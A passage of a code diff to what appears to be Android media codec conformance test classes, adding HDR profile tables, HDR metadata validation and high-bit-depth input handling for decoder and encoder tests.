+    static final int[] VP9_HLG_PROFILES = new int[]{VP9Profile2};
+    static final int[] VP9_HDR10_PROFILES = new int[]{VP9Profile2HDR};
+    static final int[] VP9_HDR10Plus_PROFILES = new int[]{VP9Profile2HDR10Plus};
+    static final int[] VP9_HDR_PROFILES =
+            combine(VP9_HLG_PROFILES, combine(VP9_HDR10_PROFILES, VP9_HDR10Plus_PROFILES));
+    static final int[] VP9_PROFILES = combine(VP9_SDR_PROFILES, VP9_HDR_PROFILES);
+    static final int[] HEVC_SDR_PROFILES = new int[]{HEVCProfileMain, HEVCProfileMainStill};
+    static final int[] HEVC_HLG_PROFILES = new int[]{HEVCProfileMain10};
+    static final int[] HEVC_HDR10_PROFILES = new int[]{HEVCProfileMain10HDR10};
+    static final int[] HEVC_HDR10Plus_PROFILES = new int[]{HEVCProfileMain10HDR10Plus};
+    static final int[] HEVC_HDR_PROFILES =
+            combine(HEVC_HLG_PROFILES, combine(HEVC_HDR10_PROFILES, HEVC_HDR10Plus_PROFILES));
+    static final int[] HEVC_PROFILES = combine(HEVC_SDR_PROFILES, HEVC_HDR_PROFILES);
+    static final int[] AV1_SDR_PROFILES = new int[]{AV1ProfileMain8};
+    static final int[] AV1_HLG_PROFILES = new int[]{AV1ProfileMain10};
+    static final int[] AV1_HDR10_PROFILES = new int[]{AV1ProfileMain10HDR10};
+    static final int[] AV1_HDR10Plus_PROFILES = new int[]{AV1ProfileMain10HDR10Plus};
+    static final int[] AV1_HDR_PROFILES =
+            combine(AV1_HLG_PROFILES, combine(AV1_HDR10_PROFILES, AV1_HDR10Plus_PROFILES));
+    static final int[] AV1_PROFILES = combine(AV1_SDR_PROFILES, AV1_HDR_PROFILES);
+    static final int[] AAC_PROFILES = new int[]{AACObjectMain, AACObjectLC, AACObjectSSR,
+            AACObjectLTP, AACObjectHE, AACObjectScalable, AACObjectERLC, AACObjectERScalable,
+            AACObjectLD, AACObjectELD, AACObjectXHE};
     static final String mInpPrefix = WorkDir.getMediaDirString();
     static final Context mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
     static final PackageManager pm = mContext.getPackageManager();
     static String mimeSelKeys;
     static String codecPrefix;
+    static String mediaTypePrefix;
 
     CodecAsyncHandler mAsyncHandle;
     boolean mIsCodecInAsyncMode;
@@ -582,41 +747,56 @@
         android.os.Bundle args = InstrumentationRegistry.getArguments();
         mimeSelKeys = args.getString(MIME_SEL_KEY);
         codecPrefix = args.getString(CODEC_PREFIX_KEY);
+        mediaTypePrefix = args.getString(MEDIA_TYPE_PREFIX_KEY);
+
+        mProfileSdrMap.put(MediaFormat.MIMETYPE_VIDEO_AVC, AVC_SDR_PROFILES);
+        mProfileSdrMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_SDR_PROFILES);
+        mProfileSdrMap.put(MediaFormat.MIMETYPE_VIDEO_H263, H263_PROFILES);
+        mProfileSdrMap.put(MediaFormat.MIMETYPE_VIDEO_MPEG2, MPEG2_PROFILES);
+        mProfileSdrMap.put(MediaFormat.MIMETYPE_VIDEO_MPEG4, MPEG4_PROFILES);
+        mProfileSdrMap.put(MediaFormat.MIMETYPE_VIDEO_VP8, VP8_PROFILES);
+        mProfileSdrMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_SDR_PROFILES);
+        mProfileSdrMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_SDR_PROFILES);
+        mProfileSdrMap.put(MediaFormat.MIMETYPE_AUDIO_AAC, AAC_PROFILES);
+
+        mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_AVC, AVC_HLG_PROFILES);
+        mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HLG_PROFILES);
+        mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HLG_PROFILES);
+        mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_HLG_PROFILES);
+
+        mProfileHdr10Map.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HDR10_PROFILES);
+        mProfileHdr10Map.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HDR10_PROFILES);
+        mProfileHdr10Map.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_HDR10_PROFILES);
+
+        mProfileHdr10PlusMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HDR10Plus_PROFILES);
+        mProfileHdr10PlusMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HDR10Plus_PROFILES);
+        mProfileHdr10PlusMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_HDR10Plus_PROFILES);
+
+        mProfileHdrMap.put(MediaFormat.MIMETYPE_VIDEO_AVC, AVC_HDR_PROFILES);
+        mProfileHdrMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HDR_PROFILES);
+        mProfileHdrMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HDR_PROFILES);
+        mProfileHdrMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_HDR_PROFILES);
+
+        mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_AVC, AVC_PROFILES);
+        mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_PROFILES);
+        mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_H263, H263_PROFILES);
+        mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_MPEG2, MPEG2_PROFILES);
+        mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_MPEG4, MPEG4_PROFILES);
+        mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_VP8, VP8_PROFILES);
+        mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_PROFILES);
+        mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_PROFILES);
+        mProfileMap.put(MediaFormat.MIMETYPE_AUDIO_AAC, AAC_PROFILES);
     }
 
-    static boolean isTv() {
-        return pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+    static int[] combine(int[] first, int[] second) {
+        int[] result = Arrays.copyOf(first, first.length + second.length);
+        System.arraycopy(second, 0, result, first.length, second.length);
+        return result;
     }
 
-    static boolean hasMicrophone() {
-        return pm.hasSystemFeature(PackageManager.FEATURE_MICROPHONE);
-    }
-
-    static boolean hasCamera() {
-        return pm.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY);
-    }
-
-    static boolean isWatch() {
-        return pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
-    }
-
-    static boolean isAutomotive() {
-        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
-    }
-
-    static boolean isPc() {
-        return pm.hasSystemFeature(PackageManager.FEATURE_PC);
-    }
-
-    static boolean hasAudioOutput() {
-        return pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
-    }
-
-    static boolean isHandheld() {
-        // handheld nature is not exposed to package manager, for now
-        // we check for touchscreen and NOT watch and NOT tv and NOT pc
-        return pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN) && !isWatch() && !isTv() &&
-                !isAutomotive() && !isPc();
+    static boolean isCodecLossless(String mime) {
+        return mime.equals(MediaFormat.MIMETYPE_AUDIO_FLAC) ||
+                mime.equals(MediaFormat.MIMETYPE_AUDIO_RAW);
     }
 
     static boolean hasDecoder(String mime) {
@@ -627,6 +807,35 @@
         return CodecTestBase.selectCodecs(mime, null, null, true).size() != 0;
     }
 
+    public static void checkFormatSupport(String codecName, String mime, boolean isEncoder,
+            ArrayList<MediaFormat> formats, String[] features, SupportClass supportRequirements)
+            throws IOException {
+        if (!areFormatsSupported(codecName, mime, formats)) {
+            switch (supportRequirements) {
+                case CODEC_ALL:
+                    fail("format(s) not supported by codec: " + codecName
+                                    + " for mime : " + mime + " formats: " + formats);
+                    break;
+                case CODEC_ANY:
+                    if (selectCodecs(mime, formats, features, isEncoder).isEmpty())
+                        fail("format(s) not supported by any component for mime : " + mime
+                                        + " formats: " + formats);
+                    break;
+                case CODEC_DEFAULT:
+                    if (isDefaultCodec(codecName, mime, isEncoder))
+                        fail("format(s) not supported by default codec : " + codecName +
+                                "for mime : " + mime + " formats: " + formats);
+                    break;
+                case CODEC_OPTIONAL:
+                default:
+                    // the later assumeTrue() ensures we skip the test for unsupported codecs
+                    break;
+            }
+            Assume.assumeTrue("format(s) not supported by codec: " + codecName + " for mime : " +
+                    mime, false);
+        }
+    }
+
     static boolean isFeatureSupported(String name, String mime, String feature) throws IOException {
         MediaCodec codec = MediaCodec.createByCodecName(name);
         MediaCodecInfo.CodecCapabilities codecCapabilities =
@@ -637,38 +846,39 @@
     }
 
     static boolean doesAnyFormatHaveHDRProfile(String mime, ArrayList<MediaFormat> formats) {
-        boolean isHDR = false;
-        for (MediaFormat format : formats) {
-            assertEquals(mime, format.getString(MediaFormat.KEY_MIME));
-            if (mime.equals(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-                int profile = format.getInteger(MediaFormat.KEY_PROFILE);
-                if (profile == AVCProfileHigh10 || profile == AVCProfileHigh422 ||
-                        profile == AVCProfileHigh444) {
-                    isHDR = true;
-                    break;
-                }
-            } else if (mime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
-                int profile = format.getInteger(MediaFormat.KEY_PROFILE, VP9Profile0);
-                if (profile == VP9Profile2HDR || profile == VP9Profile3HDR ||
-                        profile == VP9Profile2HDR10Plus || profile == VP9Profile3HDR10Plus) {
-                    isHDR = true;
-                    break;
-                }
-            } else if (mime.equals(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
-                int profile = format.getInteger(MediaFormat.KEY_PROFILE, HEVCProfileMain);
-                if (profile == HEVCProfileMain10HDR10 || profile == HEVCProfileMain10HDR10Plus) {
-                    isHDR = true;
-                    break;
-                }
-            } else if (mime.equals(MediaFormat.MIMETYPE_VIDEO_AV1)) {
-                int profile = format.getInteger(MediaFormat.KEY_PROFILE, AV1ProfileMain8);
-                if (profile == AV1ProfileMain10HDR10 || profile == AV1ProfileMain10HDR10Plus) {
-                    isHDR = true;
-                    break;
+        int[] profileArray = mProfileHdrMap.get(mime);
+        if (profileArray != null) {
+            for (MediaFormat format : formats) {
+                assertEquals(mime, format.getString(MediaFormat.KEY_MIME));
+                int profile = format.getInteger(MediaFormat.KEY_PROFILE, -1);
+                if (IntStream.of(profileArray).anyMatch(x -> x == profile)) return true;
+            }
+        }
+        return false;
+    }
+
+    static boolean doesCodecSupportHDRProfile(String codecName, String mediaType)
+            throws IOException {
+        int[] hdrProfiles = mProfileHdrMap.get(mediaType);
+        if (hdrProfiles == null) {
+            return false;
+        }
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
+            if (!codecName.equals(codecInfo.getName())) {
+                continue;
+            }
+            CodecCapabilities caps = codecInfo.getCapabilitiesForType(mediaType);
+            if (caps == null) {
+                return false;
+            }
+            for (CodecProfileLevel pl : caps.profileLevels) {
+                if (IntStream.of(hdrProfiles).anyMatch(x -> x == pl.profile)) {
+                    return true;
                 }
             }
         }
-        return isHDR;
+        return false;
     }
 
     static boolean canDisplaySupportHDRContent() {
@@ -692,6 +902,22 @@
         return isSupported;
     }
 
+    static boolean hasSupportForColorFormat(String name, String mime, int colorFormat)
+            throws IOException {
+        MediaCodec codec = MediaCodec.createByCodecName(name);
+        MediaCodecInfo.CodecCapabilities cap =
+                codec.getCodecInfo().getCapabilitiesForType(mime);
+        boolean hasSupport = false;
+        for (int c : cap.colorFormats) {
+            if (c == colorFormat) {
+                hasSupport = true;
+                break;
+            }
+        }
+        codec.release();
+        return hasSupport;
+    }
+
     static boolean isDefaultCodec(String codecName, String mime, boolean isEncoder)
             throws IOException {
         Map<String,String> mDefaultCodecs = isEncoder ? mDefaultEncoders:  mDefaultDecoders;
@@ -706,11 +932,21 @@
         return isDefault;
     }
 
+    static boolean isVendorCodec(String codecName) {
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
+            if (codecName.equals(codecInfo.getName())) {
+                return codecInfo.isVendor();
+            }
+        }
+        return false;
+    }
+
     static ArrayList<String> compileRequiredMimeList(boolean isEncoder, boolean needAudio,
             boolean needVideo) {
         Set<String> list = new HashSet<>();
         if (!isEncoder) {
-            if (hasAudioOutput() && needAudio) {
+            if (MediaUtils.hasAudioOutput() && needAudio) {
                 // sec 5.1.2
                 list.add(MediaFormat.MIMETYPE_AUDIO_AAC);
                 list.add(MediaFormat.MIMETYPE_AUDIO_FLAC);
@@ -719,7 +955,8 @@
                 list.add(MediaFormat.MIMETYPE_AUDIO_RAW);
                 list.add(MediaFormat.MIMETYPE_AUDIO_OPUS);
             }
-            if (isHandheld() || isTv() || isAutomotive()) {
+            if (MediaUtils.isHandheld() || MediaUtils.isTablet() || MediaUtils.isTv() ||
+                    MediaUtils.isAutomotive()) {
                 // sec 2.2.2, 2.3.2, 2.5.2
                 if (needAudio) {
                     list.add(MediaFormat.MIMETYPE_AUDIO_AAC);
@@ -732,7 +969,7 @@
                     list.add(MediaFormat.MIMETYPE_VIDEO_VP9);
                 }
             }
-            if (isHandheld()) {
+            if (MediaUtils.isHandheld() || MediaUtils.isTablet()) {
                 // sec 2.2.2
                 if (needAudio) {
                     list.add(MediaFormat.MIMETYPE_AUDIO_AMR_NB);
@@ -742,20 +979,21 @@
                     list.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
                 }
             }
-            if (isTv() && needVideo) {
+            if (MediaUtils.isTv() && needVideo) {
                 // sec 2.3.2
                 list.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
                 list.add(MediaFormat.MIMETYPE_VIDEO_MPEG2);
             }
         } else {
-            if (hasMicrophone() && needAudio) {
+            if (MediaUtils.hasMicrophone() && needAudio) {
                 // sec 5.1.1
                 // TODO(b/154423550)
                 // list.add(MediaFormat.MIMETYPE_AUDIO_RAW);
                 list.add(MediaFormat.MIMETYPE_AUDIO_FLAC);
                 list.add(MediaFormat.MIMETYPE_AUDIO_OPUS);
             }
-            if (isHandheld() || isTv() || isAutomotive()) {
+            if (MediaUtils.isHandheld() || MediaUtils.isTablet() || MediaUtils.isTv() ||
+                    MediaUtils.isAutomotive()) {
                 // sec 2.2.2, 2.3.2, 2.5.2
                 if (needAudio) {
                     list.add(MediaFormat.MIMETYPE_AUDIO_AAC);
@@ -765,7 +1003,7 @@
                     list.add(MediaFormat.MIMETYPE_VIDEO_VP8);
                 }
             }
-            if (isHandheld() && needAudio) {
+            if ((MediaUtils.isHandheld() || MediaUtils.isTablet()) && needAudio) {
                 // sec 2.2.2
                 list.add(MediaFormat.MIMETYPE_AUDIO_AMR_NB);
                 list.add(MediaFormat.MIMETYPE_AUDIO_AMR_WB);
@@ -787,6 +1025,9 @@
                 if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q && codecInfo.isAlias()) continue;
                 String[] types = codecInfo.getSupportedTypes();
                 for (String type : types) {
+                    if (mediaTypePrefix != null && !type.startsWith(mediaTypePrefix)) {
+                        continue;
+                    }
                     if (!needAudio && type.startsWith("audio/")) continue;
                     if (!needVideo && type.startsWith("video/")) continue;
                     if (!mimes.contains(type)) {
@@ -794,11 +1035,17 @@
                     }
                 }
             }
-            // TODO(b/154423708): add checks for video o/p port and display length >= 2.5"
+            if (mediaTypePrefix != null) {
+                return mimes;
+            }
+            // feature_video_output is not exposed to package manager. Testing for video output
+            // ports, such as VGA, HDMI, DisplayPort, or a wireless port for display is also not
+            // direct.
             /* sec 5.2: device implementations include an embedded screen display with the
-            diagonal length of at least 2.5inches or include a video output port or declare the
+            diagonal length of at least 2.5 inches or include a video output port or declare the
             support of a camera */
-            if (isEncoder && hasCamera() && needVideo &&
+            if (isEncoder && needVideo &&
+                    (MediaUtils.hasCamera() || MediaUtils.getScreenSizeInInches() >= 2.5) &&
                     !mimes.contains(MediaFormat.MIMETYPE_VIDEO_AVC) &&
                     !mimes.contains(MediaFormat.MIMETYPE_VIDEO_VP8)) {
                 // Add required cdd mimes here so that respective codec tests fail.
@@ -1086,6 +1333,21 @@
         return height;
     }
 
+    byte[] loadByteArrayFromString(final String str) {
+        if (str == null) {
+            return null;
+        }
+        Pattern pattern = Pattern.compile("[0-9a-fA-F]{2}");
+        Matcher matcher = pattern.matcher(str);
+        // allocate a large enough byte array first
+        byte[] tempArray = new byte[str.length() / 2];
+        int i = 0;
+        while (matcher.find()) {
+            tempArray[i++] = (byte) Integer.parseInt(matcher.group(), 16);
+        }
+        return Arrays.copyOfRange(tempArray, 0, i);
+    }
+
     boolean isFormatSimilar(MediaFormat inpFormat, MediaFormat outFormat) {
         if (inpFormat == null || outFormat == null) return false;
         String inpMime = inpFormat.getString(MediaFormat.KEY_MIME);
@@ -1144,6 +1406,44 @@
         }
     }
 
+    void validateHDRStaticMetaData(MediaFormat fmt, ByteBuffer hdrStaticRef) {
+        ByteBuffer hdrStaticInfo = fmt.getByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, null);
+        assertNotNull("No HDR static metadata present in format : " + fmt, hdrStaticInfo);
+        if (!hdrStaticRef.equals(hdrStaticInfo)) {
+            StringBuilder refString = new StringBuilder("");
+            StringBuilder testString = new StringBuilder("");
+            byte[] ref = new byte[hdrStaticRef.capacity()];
+            hdrStaticRef.get(ref);
+            byte[] test = new byte[hdrStaticInfo.capacity()];
+            hdrStaticInfo.get(test);
+            for (int i = 0; i < Math.min(ref.length, test.length); i++) {
+                refString.append(String.format("%2x ", ref[i]));
+                testString.append(String.format("%2x ", test[i]));
+            }
+            fail("hdr static info mismatch" + "\n" + "ref static info : " + refString + "\n" +
+                    "test static info : " + testString);
+        }
+    }
+
+    void validateHDRDynamicMetaData(MediaFormat fmt, ByteBuffer hdrDynamicRef) {
+        ByteBuffer hdrDynamicInfo = fmt.getByteBuffer(MediaFormat.KEY_HDR10_PLUS_INFO, null);
+        assertNotNull("No HDR dynamic metadata present in format : " + fmt, hdrDynamicInfo);
+        if (!hdrDynamicRef.equals(hdrDynamicInfo)) {
+            StringBuilder refString = new StringBuilder("");
+            StringBuilder testString = new StringBuilder("");
+            byte[] ref = new byte[hdrDynamicRef.capacity()];
+            hdrDynamicRef.get(ref);
+            byte[] test = new byte[hdrDynamicInfo.capacity()];
+            hdrDynamicInfo.get(test);
+            for (int i = 0; i < Math.min(ref.length, test.length); i++) {
+                refString.append(String.format("%2x ", ref[i]));
+                testString.append(String.format("%2x ", test[i]));
+            }
+            fail("hdr dynamic info mismatch" + "\n" + "ref dynamic info : " + refString + "\n" +
+                    "test dynamic info : " + testString);
+        }
+    }
+
     public void setUpSurface(CodecTestActivity activity) throws InterruptedException {
         activity.waitTillSurfaceIsCreated();
         mSurface = activity.getSurface();
@@ -1164,6 +1464,14 @@
             fail("no valid component available for current test ");
         }
     }
+
+    @After
+    public void tearDown() {
+        if (mCodec != null) {
+            mCodec.release();
+            mCodec = null;
+        }
+    }
 }
 
 class CodecDecoderTestBase extends CodecTestBase {
@@ -1172,6 +1480,7 @@
     String mMime;
     String mTestFile;
     boolean mIsInterlaced;
+    boolean mSkipChecksumVerification;
 
     ArrayList<ByteBuffer> mCsdBuffers;
     private int mCurrCsdIdx;
@@ -1179,6 +1488,7 @@
     private ByteBuffer flatBuffer = ByteBuffer.allocate(4 * Integer.BYTES);
 
     MediaExtractor mExtractor;
+    CodecTestActivity mActivity;
 
     CodecDecoderTestBase(String codecName, String mime, String testFile) {
         mCodecName = codecName;
@@ -1194,18 +1504,33 @@
     }
 
     MediaFormat setUpSource(String prefix, String srcFile) throws IOException {
+        Preconditions.assertTestFileExists(prefix + srcFile);
         mExtractor = new MediaExtractor();
         mExtractor.setDataSource(prefix + srcFile);
         for (int trackID = 0; trackID < mExtractor.getTrackCount(); trackID++) {
             MediaFormat format = mExtractor.getTrackFormat(trackID);
             if (mMime.equalsIgnoreCase(format.getString(MediaFormat.KEY_MIME))) {
                 mExtractor.selectTrack(trackID);
-                if (!mIsAudio) {
-                    if (mSurface == null) {
-                        // COLOR_FormatYUV420Flexible must be supported by all components
-                        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUV420Flexible);
-                    } else {
-                        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatSurface);
+                if (mIsAudio) {
+                    // as per cdd, pcm/wave must support PCM_{8, 16, 24, 32, float} and flac must
+                    // support PCM_{16, float}. For raw media type let extractor manage the
+                    // encoding type directly. For flac, basing on bits-per-sample select the type
+                    if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_FLAC)) {
+                        if (format.getInteger("bits-per-sample", 16) > 16) {
+                            format.setInteger(MediaFormat.KEY_PCM_ENCODING,
+                                    AudioFormat.ENCODING_PCM_FLOAT);
+                        }
+                    }
+                } else {
+                    ArrayList<MediaFormat> formatList = new ArrayList<>();
+                    formatList.add(format);
+                    boolean selectHBD = doesAnyFormatHaveHDRProfile(mMime, formatList) ||
+                            srcFile.contains("10bit");
+                    format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                            getColorFormat(mCodecName, mMime, mSurface != null, selectHBD));
+                    if (selectHBD && (format.getInteger(MediaFormat.KEY_COLOR_FORMAT) !=
+                            COLOR_FormatYUVP010)) {
+                        mSkipChecksumVerification = true;
                     }
                 }
                 // TODO: determine this from the extractor format when it becomes exposed.
@@ -1217,6 +1542,23 @@
         return null;
     }
 
+    int getColorFormat(String name, String mediaType, boolean surfaceMode, boolean hbdMode)
+            throws IOException {
+        if (surfaceMode) return COLOR_FormatSurface;
+        if (hbdMode) {
+            MediaCodec codec = MediaCodec.createByCodecName(name);
+            MediaCodecInfo.CodecCapabilities cap =
+                    codec.getCodecInfo().getCapabilitiesForType(mediaType);
+            codec.release();
+            for (int c : cap.colorFormats) {
+                if (c == COLOR_FormatYUVP010) {
+                    return c;
+                }
+            }
+        }
+        return COLOR_FormatYUV420Flexible;
+    }
+
     boolean hasCSD(MediaFormat format) {
         return format.containsKey("csd-0");
     }
@@ -1307,17 +1649,27 @@
             } else {
                 // tests both getOutputImage and getOutputBuffer. Can do time division
                 // multiplexing but lets allow it for now
-                MediaFormat format = mCodec.getOutputFormat();
-                int width = format.getInteger(MediaFormat.KEY_WIDTH);
-                int height = format.getInteger(MediaFormat.KEY_HEIGHT);
-                int stride = format.getInteger(MediaFormat.KEY_STRIDE);
-                mOutputBuff.checksum(buf, info.size, width, height, stride);
-
                 Image img = mCodec.getOutputImage(bufferIndex);
                 assertTrue(img != null);
                 mOutputBuff.checksum(img);
+                int imgFormat = img.getFormat();
+                int bytesPerSample = (ImageFormat.getBitsPerPixel(imgFormat) * 2) / (8 * 3);
+
+                MediaFormat format = mCodec.getOutputFormat();
+                buf = mCodec.getOutputBuffer(bufferIndex);
+                int width = format.getInteger(MediaFormat.KEY_WIDTH);
+                int height = format.getInteger(MediaFormat.KEY_HEIGHT);
+                int stride = format.getInteger(MediaFormat.KEY_STRIDE);
+                mOutputBuff.checksum(buf, info.size, width, height, stride, bytesPerSample);
+
+                if (mTestDynamicMetadata) {
+                    validateHDRDynamicMetaData(mCodec.getOutputFormat(), ByteBuffer
+                            .wrap(loadByteArrayFromString(HDR_DYNAMIC_INFO[mOutputCount])));
+
+                }
             }
         }
+
         if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
             mSawOutputEOS = true;
         }
@@ -1437,14 +1789,55 @@
         mCodec.release();
         mExtractor.release();
     }
+
+    void validateHDRStaticMetaData(String parent, String name, ByteBuffer HDRStatic,
+                                   boolean ignoreContainerStaticInfo)
+            throws IOException, InterruptedException {
+        mOutputBuff = new OutputManager();
+        MediaFormat format = setUpSource(parent, name);
+        if (ignoreContainerStaticInfo) {
+            format.removeKey(MediaFormat.KEY_HDR_STATIC_INFO);
+        }
+        mCodec = MediaCodec.createByCodecName(mCodecName);
+        configureCodec(format, true, true, false);
+        mCodec.start();
+        doWork(10);
+        queueEOS();
+        waitForAllOutputs();
+        validateHDRStaticMetaData(mCodec.getOutputFormat(), HDRStatic);
+        mCodec.stop();
+        mCodec.release();
+        mExtractor.release();
+    }
+
+    void validateHDRDynamicMetaData(String parent, String name, boolean ignoreContainerDynamicInfo)
+            throws IOException, InterruptedException {
+        mOutputBuff = new OutputManager();
+        MediaFormat format = setUpSource(parent, name);
+        if (ignoreContainerDynamicInfo) {
+            format.removeKey(MediaFormat.KEY_HDR10_PLUS_INFO);
+        }
+        mCodec = MediaCodec.createByCodecName(mCodecName);
+        configureCodec(format, true, true, false);
+        mCodec.start();
+        doWork(10);
+        queueEOS();
+        waitForAllOutputs();
+        mCodec.stop();
+        mCodec.release();
+        mExtractor.release();
+    }
 }
 
 class CodecEncoderTestBase extends CodecTestBase {
     private static final String LOG_TAG = CodecEncoderTestBase.class.getSimpleName();
 
     // files are in WorkDir.getMediaDirString();
-    private static final String mInputAudioFile = "bbb_2ch_44kHz_s16le.raw";
-    private static final String mInputVideoFile = "bbb_cif_yuv420p_30fps.yuv";
+    private static final String INPUT_AUDIO_FILE = "bbb_2ch_44kHz_s16le.raw";
+    private static final String INPUT_VIDEO_FILE = "bbb_cif_yuv420p_30fps.yuv";
+    protected static final String INPUT_AUDIO_FILE_HBD = "audio/sd_2ch_48kHz_f32le.raw";
+    protected static final String INPUT_VIDEO_FILE_HBD = "cosmat_cif_24fps_yuv420p16le.yuv";
+
     private final int INP_FRM_WIDTH = 352;
     private final int INP_FRM_HEIGHT = 288;
 
@@ -1466,6 +1859,7 @@
     int mMaxBFrames;
     int mChannels;
     int mSampleRate;
+    int mBytesPerSample;
 
     CodecEncoderTestBase(String encoder, String mime, int[] bitrates, int[] encoderInfo1,
             int[] encoderInfo2) {
@@ -1486,7 +1880,8 @@
         mSampleRate = 8000;
         mAsyncHandle = new CodecAsyncHandler();
         mIsAudio = mMime.startsWith("audio/");
-        mInputFile = mIsAudio ? mInputAudioFile : mInputVideoFile;
+        mBytesPerSample = mIsAudio ? 2 : 1;
+        mInputFile = mIsAudio ? INPUT_AUDIO_FILE : INPUT_VIDEO_FILE;
     }
 
     /**
@@ -1521,8 +1916,8 @@
     void flushCodec() {
         super.flushCodec();
         if (mIsAudio) {
-            mInputOffsetPts =
-                    (mNumBytesSubmitted + 1024) * 1000000L / (2 * mChannels * mSampleRate);
+            mInputOffsetPts = (mNumBytesSubmitted + 1024) * 1000000L /
+                    (mBytesPerSample * mChannels * mSampleRate);
         } else {
             mInputOffsetPts = (mInputCount + 5) * 1000000L / mFrameRate;
         }
@@ -1540,7 +1935,12 @@
     }
 
     void fillImage(Image image) {
-        Assert.assertTrue(image.getFormat() == ImageFormat.YUV_420_888);
+        int format = image.getFormat();
+        assertTrue("unexpected image format",
+                format == ImageFormat.YUV_420_888 || format == ImageFormat.YCBCR_P010);
+        int bytesPerSample = (ImageFormat.getBitsPerPixel(format) * 2) / (8 * 3);  // YUV420
+        assertEquals("Invalid bytes per sample", bytesPerSample, mBytesPerSample);
+
         int imageWidth = image.getWidth();
         int imageHeight = image.getHeight();
         Image.Plane[] planes = image.getPlanes();
@@ -1559,17 +1959,18 @@
                 tileWidth = INP_FRM_WIDTH / 2;
                 tileHeight = INP_FRM_HEIGHT / 2;
             }
-            if (pixelStride == 1) {
+            if (pixelStride == bytesPerSample) {
                 if (width == rowStride && width == tileWidth && height == tileHeight) {
-                    buf.put(mInputData, offset, width * height);
+                    buf.put(mInputData, offset, width * height * bytesPerSample);
                 } else {
                     for (int z = 0; z < height; z += tileHeight) {
                         int rowsToCopy = Math.min(height - z, tileHeight);
                         for (int y = 0; y < rowsToCopy; y++) {
                             for (int x = 0; x < width; x += tileWidth) {
                                 int colsToCopy = Math.min(width - x, tileWidth);
-                                buf.position((z + y) * rowStride + x);
-                                buf.put(mInputData, offset + y * tileWidth, colsToCopy);
+                                buf.position((z + y) * rowStride + x * bytesPerSample);
+                                buf.put(mInputData, offset + y * tileWidth * bytesPerSample,
+                                        colsToCopy * bytesPerSample);
                             }
                         }
                     }
@@ -1583,14 +1984,17 @@
                         for (int x = 0; x < width; x += tileWidth) {
                             int colsToCopy = Math.min(width - x, tileWidth);
                             for (int w = 0; w < colsToCopy; w++) {
-                                buf.position(lineOffset + (x + w) * pixelStride);
-                                buf.put(mInputData[offset + y * tileWidth + w]);
+                                for (int bytePos = 0; bytePos < bytesPerSample; bytePos++) {
+                                    buf.position(lineOffset + (x + w) * pixelStride + bytePos);
+                                    buf.put(mInputData[offset + y * tileWidth * bytesPerSample +
+                                            w * bytesPerSample + bytePos]);
+                                }
                             }
                         }
                     }
                 }
             }
-            offset += tileWidth * tileHeight;
+            offset += tileWidth * tileHeight * bytesPerSample;
         }
     }
 
@@ -1612,13 +2016,15 @@
                 for (int j = 0; j < rowsToCopy; j++) {
                     for (int i = 0; i < width; i += tileWidth) {
                         int colsToCopy = Math.min(width - i, tileWidth);
-                        inputBuffer.position(offset + (k + j) * width + i);
-                        inputBuffer.put(mInputData, frmOffset + j * tileWidth, colsToCopy);
+                        inputBuffer.position(
+                                offset + (k + j) * width * mBytesPerSample + i * mBytesPerSample);
+                        inputBuffer.put(mInputData, frmOffset + j * tileWidth * mBytesPerSample,
+                                colsToCopy * mBytesPerSample);
                     }
                 }
             }
-            offset += width * height;
-            frmOffset += tileWidth * tileHeight;
+            offset += width * height * mBytesPerSample;
+            frmOffset += tileWidth * tileHeight * mBytesPerSample;
         }
     }
 
@@ -1631,8 +2037,9 @@
             int flags = 0;
             long pts = mInputOffsetPts;
             if (mIsAudio) {
-                pts += mNumBytesSubmitted * 1000000L / (2 * mChannels * mSampleRate);
